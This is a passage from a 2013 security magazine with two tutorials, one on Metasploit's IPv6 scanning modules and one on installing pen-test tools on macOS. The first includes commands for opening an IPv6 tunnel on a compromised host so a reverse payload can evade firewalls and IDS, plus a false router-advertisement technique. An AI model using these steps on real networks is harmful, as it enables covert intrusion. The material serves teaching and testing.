of some of the updates, but really I shouldnt be. Af-
ter all, the whole purpose of the Metasploit project
is to provide a modular framework that allows ex-
ploits to be written in a standardized fashion to en-
courage community collaboration. Still, its refresh-
ing to see that even after the project transitioned
from a pure open source project to commercially
owned and operated one (Metasploit was acquired
by Rapid 7 in 2009), the community is still contrib-
uting, and those contributions are still released un-
der the original open-source license. According to
Rapid 7, this will never change.
Figure 1. Typical output from msfupdate containing new
additions and updates to existing
www.hakin9.org/en 167
Earlier this year msfupdate fetched some up-
dates that made me lean forward faster and look
a little closer than perhaps I normally would.
Metasploit downloaded a selection of modules
with IPv6 in the description.
IPv6 has been creeping into our lives over the
past several years. Our operating systems, net-
work equipment and phones have been gradually
adding support for the new version of the protocol
that will keep future networks and the internet run-
ning, when the current version of the internet pro-
tocol (IPv4) is finally retired due to address space
exhaustion.
As you might expect, IPv6 offers some advantag-
es over its predecessor. Primarily, the vast address
space will ensure that theoretically every grain of
sand on the planet could own an Internet connect-
ed device and not have to worry about hiding be-
hind a NATed IP. Additionally, IPv6 supports state-
less auto-configuration meaning that network
administrators will no longer have to set up and
manage DHCP servers, as IPv6 can figure itself
out via the use of such mechanisms as neighbor
discovery protocol messages sent via ICMP ver-
sion 6.
This is by no means an extensive list of differ-
ences, but Id like to pause and consider the sec-
ond advantage of IPv6 Ive just mentioned from
a security perspective. Its this feature of IPv6 that
the first batch of Metasploit IPv6 modules take ad-
vantage of.
One thing should be made very clear before we
go any further. IPv6 is not any more or less se-
cure than IPv4. They both do different things in
different ways, and understanding the differences
is key for network administrators to successful-
ly implement the new protocol in a secure fash-
ion. The biggest insecurity in IPv6 at the moment
is that there are very few IPv6-only networks out
there.
99% of the time youll find spots of IPv6 traffic
wandering across the same wires as its older sib-
ling, quietly going about its business. Similarly,
99% of the time you can ask a network adminis-
trator what they think that traffic is up to and theyll
reply with something along the lines of erm, well
thats just noise, we dont use IPv6 yet.
They likely arent doing anything with v6 just yet,
but that doesnt mean the devices sitting on the
network arent. Out of the box, IPv6 is designed
to go find the quickest way to the Internet. When
you think of it like that, perhaps its time for network
admins to get all up in IPv6s business and see
what its up to. After all, if devices are using it to
communicate freely, then so can we.
Currently Metasploit features a handful of scan-
ner modules for IPv6 discovery, and IPv6 enabled
versions of its traditional payloads. A quick and
easy way to locate the IPv6 modules is to run the
command search ipv6 from within the Metasploit
Console (Figure 2).
Lets take a moment to dissect the scanner mod-
ules, and what we can learn from them. First up is
ipv6_multicast_ping, written by wuntee.
This module sends a number of ICMPv6 pack-
ets to the various IPv6 addresses that are defined
as multicast addresses, to which all IPv6 enabled
hosts should respond. Then it listens for the IC-
MPv6 echo-reply responses and records both
the IPv6 address and the hardware (MAC) ad-
Figure 2. Currently Metasploit ofers three auxiliary scanner modules for IPv6 discovery and multiple payloads that run over IPv6
168
TOOLS
TBO 01/2013
dress of the responding host. Very quickly we can
learn which hosts on our local network are IPv6
enabled. When configuring the module we have
the option of specifying the source IPv6 address
and source MAC. The only mandatory option is a
timeout, which is set at 5 seconds by default (Fig-
ure 3).
Lets take a closer look at the IPv6 multicast ad-
dresses we ping with this module. IPv6 addresses
have a scope in which they are considered valid
and unique. This could be an address in the global
scope, the site scope, link-local or interface local
scope. Each scope features a well-known multi-
cast address, which certain types of host are ex-
pected to join. The module has a sequential list of
those addresses that it works its way through. We
can pull those addresses from the Ruby code for
the module.
FF01::1 All nodes on the interface-local
scope.
FF01::2 All routers in the interface-local
scope.
FF02::1 All nodes in the link-local scope.
FF02::2 All routers on the link-local scope.
FF02::5 All OSPFv3 link state routers.
FF02::6 All OSPFv3 designated routers.
FF02::9 All RIP routers.
FF02::a All EIGRP routers.
FF02::d All Protocol Independent Multicast
routers.
FF02::16 Multicast Lister Discovery reports.
FF02::1:2 All DHCP servers in the link-local
scope.
FF05::1:3 All DHCP servers in the site-local
scope.
To better understand the idea of IPv6 scopes we
can compare them to their IPv4 equivalents. The
global scope is best compared to any public IP
address range in IPv4. A global IPv6 address can
uniquely identify a host on the Internet. Site-local
should be considered equivalent to RFC1918 pri-
vate IP addressing and is used within a specifc
site, such as an offce. Interface-local is similar to
an APIPA or 169.* IPv4 address, and is automat-
ically generated to allow communication across a
link without the need for any other routing infor-
mation.
One difference between link-local addresses in
IPv6 and IPv4 is that there always needs to be one
assigned to every IPv6 enabled interface even
when it has other addresses. That means that as
long as there is IPv6 on the network, there will
be link-local addresses in the link-local multicast
scope. You can spot a link-local address because
it will have the prefix fe80. As you might expect,
these addresses cannot be routed over the Inter-
net. So while they can be used to communicate
with a machine in the same layer 2 broadcast do-
mains as the host you are working from, if you want
to be able to have fun across the IPv6 Internet, a
global address is required. Well talk about obtain-
ing one of those later.
Our next Metasploit module is ipv6_neighbor,
created by belch <>. This enumeration module
takes advantage of Neighbor Discovery Proto-
col (NDP). NDP uses a subset of ICMPv6 pack-
ets used by IPv6 to perform various auto-config-
uration and link state monitoring tasks to find the
link-local addresses of IPv6 hosts within the same
segment.
As an aside, one such NDP task is determining
if its intended link-local address is already in use.
This process, imaginatively called duplicate ad-
dress detection (DAD), is actually prone to denial
of service. Tools exist, although not presently mod-
ulized in Metasploit, which will respond to all DAD
requests with address in use messages. This will
prevent any new IPv6 devices that join the network
Figure 3. Quickly locating nearby IPv6 enabled hosts with
ipv6_multicast_ping
Figure 4. Mapping the relationship between IPv4 and IPv6
link-local addresses
www.hakin9.org/en
from configuring a link-local address, as every op-
tion it advertises will be reported as a duplicate.
One such tool for this task is dos-new-ip6 written
by van Hauser.
Back to the module in question. Its purpose is
to take an IPv4 range and show you the relation-
ship between the IPv4 and IPv6 addresses on the
target network. This allows you to quickly identify
which hosts are dual-stacked, that is, running both
IPv4 and IPv6 side by side (Figure 4).
To do this it actually completes two tasks as
part of its execution. The first is a blast from the
past we perform an ARP sweep of the given
IPv4 range, to learn the MAC address of each
IPv4 host. Secondly it will send an ICMPv6 neigh-
bor solicitation packet, from which well learn the
MAC address of the IPv6 enabled host. Compare
the two MAC addresses, if any match we have
our mapping.
Seeing these two processes side-by-side is in-
teresting as ICMPv6 neighbor discovery is IPv6s
ARP replacement, and we can compare the way
they go about doing the same job. Unlike IPv4,
IPv6 does not implement broadcast. The reason
for this is efficiency. Traditional ARP uses broad-
cast to query all the hosts on the subnet to find
the MAC address of an IPv4 host so it can make
a layer 2 delivery. In other words, everyone gets
bugged every time someone wants to locate a
MAC address.
In IPv6, the process relies on multicasting
which is means that fewer hosts get bugged and
the address resolution process is much quicker.
Neighbor solicitation packets are sent to a spe-
cial kind of multicast address known as a solic-
ited-node multicast address. Each IPv6 interface
will have such an address and its purpose is to
provide the layer 2 (mac address) of the host.
These addresses are generated using an simple
algorithm, which will drop all but the last 24 bits of
the hosts regular unicast address and append it
with the prefix FF02: : 1: FF00: 0/ 104.
Using Wireshark to capture the ICMPv6 pack-
ets sent out by the Metasploit module we can see
these addresses in action (Figure 5).
Notice how in packets 231 and 232, we send a
neighbor solicitation to the solicited-node multicast
address f f 02: : 1: f f 8f : ddb3, and we get our re-
sponse back in the form of a neighbor advertise-
ment from the unicast link-local address of the host
(f e80: : 7256: 81f f : f e8f : ddb3). An ICMPv6 neighbor
advertisement can either be sent in response to a
solicitation, as weve just shown, or it can be sent
unsolicited to an all-node multicast address to in-
form neighbors of a change in address or link state.
170
TOOLS
TBO 01/2013
The final scanner module currently in Metasploit
is i pv6_nei ghbour _r out er _adver t i sement , which
like i pv6_mul t i cast _pi ng is also written by wun-
tee.
ICMPv6 router advertisements and solicitations
are fairly similar to neighbor advertisements and
solicitations, but as you can probably guess, are
used to discover routers rather than regular
hosts. Routers transmit advertisements on a reg-
ular basis via multicast, and also in response to
router solicitations from hosts on the network.
This module will aim to enumerate link-local
IPv6 addresses by crafting and transmitting false
router advertisements for a new network prefix
via multicast. In turn this will trigger any hosts in
that multicast scope to start the auto-configura-
tion process, create a new global IPv6 address
on its interface and send a neighbor advertise-
ment for that address. The module will then ma-
nipulate the IPv6 address in the advertisement,
dropping the newly acquired global prefix and
replacing it with the standard link-local prefix. Fi-
nally, to confirm that the enumerated address is
in fact alive it will send out a neighbor solicitation
message.
This works under the assumption that the operat-
ing system uses the same interface portion of the
IPv6 address on all of its addresses (Figure 6).
So lets take a closer look at the module in action.
We dont need to provide any options other than a
couple of timeout parameters, which by default are
set at 5 and 1 seconds respectively. Once we run
the module it will begin sending advertisements
for the network prefix 2001: 1234: dead: beef to the
multicast address FF02: : 1, which as we know from
earlier is all nodes in the link-local scope. Inci-
dentally, this network prefix is hard coded into the
modules source (Figure 7).
Upon receipt of the advertisement all hosts on
the local scope will begin auto-configuration of a
new IPv6 address within the new prefix (Figure 8).
Of the three enumeration modules weve looked
at, this is by far the nosiest and therefore the most
likely to be detected. We are actually taking the
time to set an address on the remote host, and
there is no guarantee that the interface portion of
the new address will match the link-local address
calculated by the module. Some systems imple-
ment randomization in the interface portion. Hav-
ing said that, its always good to have different
ways of achieving the same goal!
So far weve concentrated on the auxiliary mod-
ules in the Metasploit framework and doing some
basic IPv6 enumeration in the link-local scope.
This is an important first step and assumes that
you already have some sort of foothold into the
network, but lets say we now want to take things
one-step further. We are going to try a break out
onto the IPv6 Internet, and that means well need
a tunnel.
The idea of tunneling out using IPv6 encapsulat-
ed in IPv4 packets is a very attractive proposition,
Figure 7. Sending an ICMPv6 router advertisement message
for the network prefx 2001:1234:dead:beef, as captured by
Wireshark
Figure 6. Using false router advertisements with ipv6_
neighbor_router_advertisement to obtain link-local
addresses
Figure 5. ICMPv6 NDP packets, sent initially to the solicited-node multicast addresses of each host
www.hakin9.org/en 171
as many controls, such as IPS/IDS and firewalls
will not be configured to alert on or prevent such
traffic leaving.
So the scenario is as follows weve compro-
mised a Linux machine using Metasploit and we
have a shell. The host has IPv6 support and a
link-local address. Now we want to create a glob-
al IPv6 address on the box to allow it to commu-
nicate back to us over the IPv6 Internet for extra
obscurity.
You need two things to get an IPv6 tunnel to work
a tunnel broker, of which there are plenty, many
of them are free of charge. Secondly, if the box
you are working on is behind a NAT device, it must
support the forwarding of protocol 41 in other
words, IPv6 encapsulated in IPv4. If we are behind
a NAT device that doesnt forward protocol 41, we
are out of luck (Figure 9).
For the purposes of this example Ill be using
a tunnel provided by Hurricane Electric (he.net).
Once signed up, the tunnel broker provides both
a client and server IPv6 address, and an IPv4 ad-
dress of the tunnel broker server.
These values will be as follows:
HE. net Tunnel Ser ver I Pv4 addr ess 72. 52. 104. 74
HE. net Tunnel Ser ver I Pv6 addr ess 2001: DB8: : 20
Tar get Net wor k Out si de NAT I Pv4 addr ess 1. 1. 1. 1
Tar get Machi ne I Pv4 Addr ess 192. 168. 0. 115
Tar get Machi ne I Pv6 Addr ess 2001: DB8: : 21
Note
You may have noticed the outside IPv4 and IPv6
addresses used in this example will not work in
real life. The IPv6 address prefix Ive used is re-
served for documentation, and is not routable over
the Internet.
When configuring the tunnel in the he.net site, you
must provide the outside IPv4 address of the target.
It should also be noted, that he.net site requires that
this address responds to ping (Figure 10).
Back on our victim machine, we run a few com-
mands to bring up the new tunnel interface and set
up a route to ensure all IPv6 traffic goes via that
new interface.
ip tunnel add ipv6inet mode sit remote
72.52.104.74 local 192.168.0.115 ttl 255 This
creates a SIT (simple internet transition) interface
named ipv6inet and defines the local and remote
IPv4 addresses for the tunnel endpoints, or in oth-
er words, the IP of the target machine and tunnel
server.
ip link set ipv6inet up This brings the tunnel
interface up.
Figure 10. Signing up for an IPv6 tunnel from Hurricane
Electric (ipv6.he.net)
Figure 11. Creating an IPv6 tunnel interface on the target
machine
Figure 8. Two outputs of ifconfg on a Mac OS X machine
on the same network as our Metasploit instance. The frst
output is pre-false advertisement, the second is just after.
Notice the addition of a dead:beef IPv6 address, thanks to
auto-confguration
Figure 9. On the compromised Linux host webapp1, eth0
has an IPv4, and link-local IPv6 address
172
TOOLS
TBO 01/2013
i p addr add 2001: db8: : 21 dev i pv6i net This
assigns the IPv6 address to the interface.
i p r out e add : : / 0 dev i pv6i net This com-
mand will add a route to send all IPv6 traffic across
the new tunnel interface (Figure 11).
A quick way to confirm that the IPv6 Internet
is now within our reach is to use the ping6 utili-
ty to hit an IPv6 website. In this case ipv6.google.
com, which has the address 2607: f 8b0: 400e: c00
: : 93.
This tunnel can now be used by a Metasploit re-
verse connection payload to connect to an attack-
er with a global IPv6 address of their own, which of
course can be obtained in exactly the same way as
weve just shown.
Lets say in this example we want our payload to
connect back to us at the address 2001: db8: : 99
(Figure 13).
Configuring an IPv6 payload in Metasploit is es-
sentially the same as an IPv4 payload, but there
are a couple of minor differences. Obviously, you
must specify an IPv6 address for your listener (or
target if a binding payload), and also if using a link-
local address on a host with multiple interfaces,
you should specify the scope ID.
To summarize, lets take one last look at the sce-
nario weve just discussed (Figure 14).
Conclusion
For many out there, the mere sight of an IPv6
address is enough to put them off learning more
about the protocol. This is the biggest vulnerability
in IPv6, and like most security vulnerabilities, its
a human problem. The protocol is being adopted
in devices at a much quicker rate than people are
willing to manage and configure it properly.
For attackers, this provides great opportunities to
jump on the unmanaged jumble and use it to build
something that can be used to move around net-
works in ways that the owners of those networks
arent expecting.
For defenders, this means developing a whole
new security model with emphasis on securing the
endpoints rather than the perimeter. After all, IPv6
doesnt hide behind NAT like its predecessor.
By introducing IPv6 payloads and modules the
Metasploit framework has given both groups new
tools to better understand and manipulate the
IPv6 protocol. Of course, we are only just getting
started. The nature of the Metasploit community
is to constantly build, innovate and improve upon
what is already in place. These initial modules
will act as a catalyst for further development in
IPv6 enumeration and exploitation. Remember
that the next time you run msfupdate, and keep
one eye open for new ways to use IPv6 for ex-
ploitation.
Figure 14. An overview of our IPv6-over-IPv4 tunnel set up
Figure 13. Setting up an IPv6 payload in Metasploit
Figure 12. Sending ping packets to Google over the IPv6
Internet using our new tunnel interface
MIKE SHEWARD
Mike Sheward is a security specialist
for a software-as-a-service provider
based in Seattle. He began his career
as a network engineer working in
the British public sector. During this
time he developed a passion for se-
curity and started on a path that led
him to a full-time security role with a
private organization. Mike has per-
formed penetration testing for a wide range of public
and private sector clients, has been involved in a num-
ber of digital forensics investigations and has delivered
security training to fellow IT professionals.
174
HAKIN9 EXTRA
TBO 01/2013
How to Use The Mac
OS X Hackers Toolbox
When you think of an operating system to run pen testing tools on,
you probably think of Linux and more specifically BackTrack Linux.
BackTrack Linux is a great option and one of the most common
platforms for running pen testing tools. If you are a Mac user, then
you would most likely run a virtual machine of BackTrack Linux.
W
hile his is a great option, sometimes it is
nice to have your tools running on the
native operating system of your comput-
er. Another benefit is to not having to share your
system resources with a virtual machine. This also
eliminates the need to transfer files between your
operating system and a virtual machine, and the
hassles of having to deal with a virtual machine.
Also by running the tools within OS X, you will be
able to seamlessly access all of your Mac OS X
applications.
My attack laptop happens to be a MacBook Pro
and I started out running VirtualBox with a Back-
Track Linux virtual machine. I recently started in-
stalling my hacking tools on my MacBook Pro.
I wanted to expand the toolset of my Mac, so I
started with Nessus, nmap, SQLMap, and then I
installed Metasploit. My goal is to get most if not
all of the tools I use installed on my MacBook Pro
and run them natively within OS X. Since Mac
OS X is a UNIX based operating system, you get
great tools that comes native within UNIX operat-
ing systems such as netcat and SSH. You also
have powerful scripting languages installed such
as Perl and Python. With all of the benefits and
features of the Mac OS X, there is no reason to
not use Mac OS X for your pen testing platform. I
was really surprised to not see a lot of information
on the subject of using Mac OS X as pen testing/
hacking platform. Metasploit was the toughest ap-
plication to get running on Mac OS X and that was
mostly due to the PostgreSQL database setup.
The majority of hacking tools are command line
based, so they are easy and are fairly straight for-
ward to install.
In this article I am going to take you through in-
stalling and configuring some of the most popu-
lar and useful hacking tools such as Metasploit on
Mac OS X. If you are interested in maximizing the
use of your Mac for pen testing and running your
tools natively, then you should find this article help-
ful.
The Tools
The pen test tools we will be installing is a must
have set of tools and all of them are free, with the
exception of Burp Suite and Nessus. Although
Burb Suite has a free version, which offers a por-
tion of the Burp Suite tools for free. The tools of-
fered for free with Burp Suite are useful tools and I
highly recommend them. The professional version
of Burp Suite is reasonably priced.
Metasploit Framework
Nmap
SQLmap
Burp Suite
Nessus
SSLScan
Wireshark
TCPDUMP
Netcat
www.hakin9.org/en 175
Metasploit Framework
The Metasploit Framework is one of the most pop-
ular and powerful exploit tools for pen testers and a
must have for pen testers. The Metasploit Frame-
work simplifies the exploitation process and allows
you to manage your pen tests with the workspace
function in Metasploit. Metasploit also allows you
to run nmap within Metasploit and the scan infor-
mation is organized by project with the workspace
function. You can create your own exploits and
modify existing exploits in Metasploit. Metasploit
has many more features and too many to mention
in this article, plus the scope of this article is dem-
onstrate how to install Metasploit and other pen
testing tools.
The Install
Before we install Metasploit, we need to install
some software dependencies. It is a little more
work to install Metasploit on Mac OS X, but it will
be worth it. Listed below are the prerequisite soft-
ware packages.
Software Prerequisites
MacPorts
Ruby1.9.3
Homebrew
PostreSQL
MacPorts Installation
Install Xcode
Xcode Install from the Apple App Store, or it
can be downloaded from the following URL;
https://developer.apple.com/xcode/
Once Xcode is installed go into the Xcode pref-
erences and install the Command Line Tools.
(see Figure 1)
Install the MacPorts app
Download and install the package fle (.dmg)
fle from the MacPorts web site; https://distfles.
macports.org/MacPorts/
Once the fles is downloaded install MacPorts.
More information on MacPorts can be found
here: http://www.macports.org/install.php
Run MacPorts selfupdate to make sure it is us-
ing the latest version.
From a terminal window run the following com-
mand:
$ sudo por t sel f updat e
Ruby 1.9.3
Mac OS X is preinstalled with Ruby, but we want to
upgrade to Ruby 1.9.3
We will be using MacPorts to upgrade Ruby.
From a terminal window run the following com-
mand:
$ sudo por t i nst al l r uby19 +nosuf f i x
The default Ruby install path for MacPorts is: /
opt / l ocal /
Its a good idea to verify that the PATH is cor-
rect, so that opt / l ocal / bi n is listed before /
usr / bi n. You should get back something that
looks like this:
/ opt / l ocal / bi n: / opt / l ocal / sbi n: / usr / bi n: / bi n: /
usr / sbi n: / sbi n
You can verify the path by entering the follow-
ing syntax in a terminal window:
$ echo $PATH
To verify the Ruby install locations, enter this
syntax:
$ whi ch r uby gem
You should get back the following response:
/ opt / l ocal / bi n/ r uby
/ opt / l ocal / bi n/ gem
Database Installation
A database is not required to run, but some of the
features of Metasploit require that you install a data-
base. The workspace feature of Metasploit is one of
the really nice features of Metasploit that requires a
database. Workspace allows easy project organiza-
tion by offering separate workspaces for each proj-
ect. PostgreSQL is the vendor recommended and
supported database, but MySQL can be used. In
this article, we will be using PostgreSQL.
We will use Homebrew to install PostgreSQL. I
tried a few different installation methods, but this is
the easiest way to install PostgreSQL. Homebrew
is good method to install Open Source software
packages. Figure 1. Install Command Line Tools
176
HAKIN9 EXTRA
TBO 01/2013
First we will install Homebrew.
From a terminal window run the following com-
mand:
$ r uby - e $( cur l - f sSkL r aw. gi t hub. com/ mxcl /
homebr ew/ go)
Next we will install PostgreSQL using Home-
brew.
From a terminal window run the following com-
mand:
$ br ew i nst al l post gr esql
Next we initialize the database, confgure the
startup, and start PostgreSQL.
From a terminal window run the following com-
mand:
i ni t db / usr / l ocal / var / post gr es cp / usr /
l ocal / Cel l ar / post gr esql / 9. 1. 4/ homebr ew. mxcl .
post gr esql . pl i st ~/ Li br ar y/ LaunchAgent s/
l aunchct l l oad - w ~/ Li br ar y/ LaunchAgent s/
homebr ew. mxcl . post gr esql . pl i st pg_ct l - D /
usr / l ocal / var / post gr es - l / usr / l ocal / var /
post gr es/ ser ver . l og st ar t
Database confguration
In this step we will create our Metasploit data-
base and the database user.
The Homebrew install does not create the pos-
gres user, so we need to create the postgres
user to create databases and database users.
At a command prompt, type the following:
$ cr eat euser post gr es _ user - P
$ Ent er passwor d f or new r ol e: passwor d
$ Ent er i t agai n: passwor d
$ Shal l t he new r ol e be a super user ? ( y/ n) y
$ Shal l t he new r ol e be al l owed t o cr eat e
dat abases? ( y/ n) y
$ Shal l t he new r ol e be al l owed t o cr eat e
mor e new r ol es? ( y/ n) y
Creating the database user
At a command prompt, type the following:
$ cr eat euser msf _ user - P
$ Ent er passwor d f or new r ol e: passwor d
$ Ent er i t agai n: passwor d
$ Shal l t he new r ol e be a super user ? ( y/ n) n
$ Shal l t he new r ol e be al l owed t o cr eat e
dat abases? ( y/ n) n
$ Shal l t he new r ol e be al l owed t o cr eat e
mor e new r ol es? ( y/ n) n
Creating the database
At a command prompt, type the following:
$ cr eat edb - - owner =msf _ user msf _ dat abase
Install the pg gem.
At a command prompt, type the following:
$ gemi nst al l pg
The database and database user are created, so
now it is time to install Metasploit.
Metasploit software installation
The dependencies have been installed and next
we will be installing the Metasploit software.
Download the Metsploit source code for in-
stallation using the link provided below and do
not download the .run fle from the Metasploit
download page. Download the Metasploit tar
fle from: http://downloads.metasploit.com/data/
releases/framework-latest.tar.bz2.
Once the download is complete, untar the fle.
If you have software installed to unzip or untar
fles, then it should untar the fle when the fle
is fnished downloading. I use StuffIt Expander
and it untarred the fle for me upon completion
of the download. If you need to manually un-
tar the fle, type this command at the command
line and it will untar the fle into the desired di-
rectory:
$ sudo t ar xvf f r amewor k- l ast est- t ar. bz2
C / opt
If the fle was untarred for you as mentioned,
you will need to move the Metasploit source
fle structure to the opt directory. Your directory
structure should look like this:
/ opt / met aspl oi t 3/ msf 3
Starting Metasploit
Now that Metasploit is installed, we will start
Metasploit for the first time. You will need to navi-
gate to the Metasploit directory and start Metasploit.
Navigate to the Metaploit directory with the fol-
lowing syntax entered at the command line:
$ cd / opt / met aspl oi t / msf 3
To start Metasploit, simply enter the following
syntax:
$ sudo . / msf consol e
You will get one of the many Metasploit
screens like the one in Figure 2.
Figure 2. This is one of the many Metasploit screens you will
see when launching Metasploit
www.hakin9.org/en 177
Connecting to the database
In this next step we will connect Metasploit to
our PostgreSQL data base. From the Metasploit
prompt, type the following syntax:
msf > db_connect msf _user : passwor d@127. 0. 0. 1/ msf _
dat abase
You will see the following message and you
should be connected.
[ *] Rebui l di ng t he modul e cache i n t he backgr ound. . .
Type in the following syntax to verify the database
is connected:
msf > db_st at us
You will get the following back verifying the data-
base is connected:
[ *] post gr esql connect ed t o msf _dat abase
The database is now connected to Metasploit, but
once you exit Metasploit the database will be dis-
connected. To confgure Metasploit to automat-
ically connect on startup, we will have to create
the msfconsole.rc fle.
Enter the following syntax at the command
prompt:
$ cat > ~/ . msf 3/ msf consol e. r c << EOF db_connect
-y /opt/metasploit3/confg/database.yml
EOF
Updating Metasploit
Now that we have Metasploit installed and con-
figured, we will update the Metasploit installation.
From the command prompt, type the following syn-
tax:
$ . / msf updat e
This can take a while, so just set back and let the
update complete. Make sure to update Metasploit
frequently so you have the latest exploits.
The benefts of Metasploit with database
Metasploit is installed, the database is connected
and ready to use. So what can I do with Metasploit
with a database that I couldnt do without one?
Here is a list of the new functionality gained by us-
ing a database with Metaploit.
Here is a list of the Metasploit Database Back-
end Commands taken directly from the Metasploit
console: Listing 1.
The commands are pretty much self-explanatory,
but to it should be noted that db_import allows you
to import nmap scans done outside of Metasploit.
This comes in handy when you are working with
others on a pen test and you want to centrally
manage your pen test data. As mentioned earlier,
workspace helps you manage your pen tests by al-
lowing you to store them in separate areas of the
database.
A great reference guide for Metasploit can be
found at Offensive Securitys website: http://www.
offensive-security.com/metasploit-unleashed/
Main_Page.
Nmap
Nmap is an open source network discovery and
security auditing tool. You can run nmap within
Metasploit, but it is good to have nmap installed so
you can run nmap outside of Metasploit.
Listing 1. Database Backend Commands as displayed in
the Metasploit console
Dat abase Backend Commands
=========================
Command Descr i pt i on
- - - - - - - - - - - - - - - - - -
cr eds Li st al l cr edent i al s i n t he
dat abase
db_connect Connect t o an exi st i ng dat abase
db_di sconnect Di sconnect from t he cur r ent
dat abase i nst ance
db_expor t Expor t a f i l e cont ai ni ng t he
cont ent s of t he dat abase
db_i mpor t I mpor t a scan r esul t f i l e
( f i l et ype wi l l be aut o- det ect ed)
db_nmap Execut es nmap and r ecor ds t he
out put aut omat i cal l y
db_r ebui l d_cache Rebui l ds t he dat abase- st or ed
modul e cache
db_st at us Show t he cur r ent dat abase
st at us
host s Li st al l host s i n t he dat abase
l oot Li st al l l oot i n t he dat abase
not es Li st al l not es i n t he dat abase
ser vi ces Li st al l ser vi ces i n t he
dat abase
vul ns Li st al l vul ner abi l i t i es i n t he
dat abase
wor kspace Swi t ch bet ween dat abase
wor kspaces
178
HAKIN9 EXTRA
TBO 01/2013
PHILLIP WYLIE
Phillip Wylie is a security consul-
tant specializing in penetration
testing, network vulnerability as-
sessments and application vul-
nerability assessments. Phillip
has over 8 years of experience in
information security and 7 years of system administra-
tion experience.
We will use Homebrew to install nmap. From the
command prompt, type the following syntax:
$ br ew i nst al l nmap
Visit the Nmap website for the Nmap reference
guide: http://nmap.org/book/man.html.
SQLmap
SQLmap is a penetration testing tool that detects
SQL injection flaws and automates SQL injection.
From the command prompt, type the following syn-
tax:
$ gi t cl one ht t ps: / / gi t hub. com/ sql mappr oj ect /
sql map. gi t sql map- dev
Burp Suite
Burp Suite is a set of web security testing tools, in-
cluding Burp Proxy. To install Burp Suite, download
it from: http://www.portswigger.net/burp/download.
html
To run Burp, type the following syntax from the
command prompt:
$ j ava - j ar - Xmx1024mbur psui t e_v1. 4. 01. j ar
For more information on using Burp, go to the
Burp Suite website: http://www.portswigger.net/
burp/help/.
Nessus
Nessus is a commercial vulnerability scanner and
it can be downloaded from the Tenable Network
website: http://www.tenable.com/products/nessus/
nessus-download-agreement.
Download the file Nessus-5.x.x.dmg.gz, and
then double click on it to unzip it. Double click on
the Nessus-5.x.x.dmg file, which will mount the
disk image and make it appear under Devices in
Finder. Once the volume Nessus 5 appears in
Finder, double click on the file Nessus 5.
The Nessus installer is GUI based like other Mac
OS X applications, so there are no special instruc-
tions to document. The Nessus 5.0 Installation and
Configuration Guide as well as the Nessus 5.0 Us-
er Guide can be downloaded from the documenta-
tion section of the Tenable Network website: http://
www.tenable.com/products/nessus/documenta-
tion.
SSLScan
SSLScan queries SSL services, such as HTTPS,
in order to determine the ciphers that are support-
ed.
To install sslscan, type the following syntax at the
command prompt:
$ br ew i nst al l ssl scan
Wireshark
Wireshark is a packet analyzer and can be useful
in pen tests.
Wireshark DMG package can be downloaded
from the Wireshark website: http://www.wireshark.
org/download.html.
Once the file is downloaded, double click to in-
stall Wireshark.
TCPDUMP
TCPDUMP is a command line packet analyzer that
is preinstalled on Mac OS X. For more information
consult the man page for tcpdump, by typing the
following syntax at the command prompt:
$ man t cpdump
Netcat
Netcat is a multipurpose network utility that is pre-
installed on Mac OS X. Netcat can be used for port
redirection, tunneling, and port scanning to just
name a few of the capabilities of netcat. Netcat is
used a lot for reverse shells. For more information
on netcat, type the following syntax at the com-
mand prompt:
$ man nc
Conclusion
Follow the instructions in this article, you will have
a fully functional set of hacking tools installed on
your Mac and you will be able to run them natively
without having to start a virtual machine or deal with
the added administrative overhead that comes with
running a virtual machine. You will also not have to
share resources with a virtual machine. I hope you
found this article useful and I hope you enjoy setting
up your Mac OS X hacker toolbox as much as I did.
With Macs gaining popularity, I can only imagine
they will become more widely used in pen testing.
April 8-10, 2013
Boston, MA
www.BigDataTechCon.com
The HOW-TO conference for Big Data and IT Professionals
Discover how to master Big Data from real-world
practitioners instructors who work in the trenches
and can teach you from real-world experience!
Register Early and SAVE!
A BZ Media Event
Big Data TechCon

is a trademark of BZ Media LLC.


Big Data gets real
at Big Data TechCon!
O
v
e
r
5
0
h
o
w
-to
p
ractical classes
an
d
w
ork
sh
op
s
to ch
oose
from
!
Come to Big Data TechCon
to learn the best ways to:
Collect, sort and store massive quantities
of structured and unstructured data
Process real-time data pouring
into your organization
Master Big Data tools and
technologies like Hadoop, Map/Reduce,
NoSQL databases, and more
Learn HOW TO integrate data-collection technologies with
analysis and business-analysis tools to produce the kind of
workable information and reports your organization needs
Understand HOW TO leverage Big Data to help
your organization today

You might also like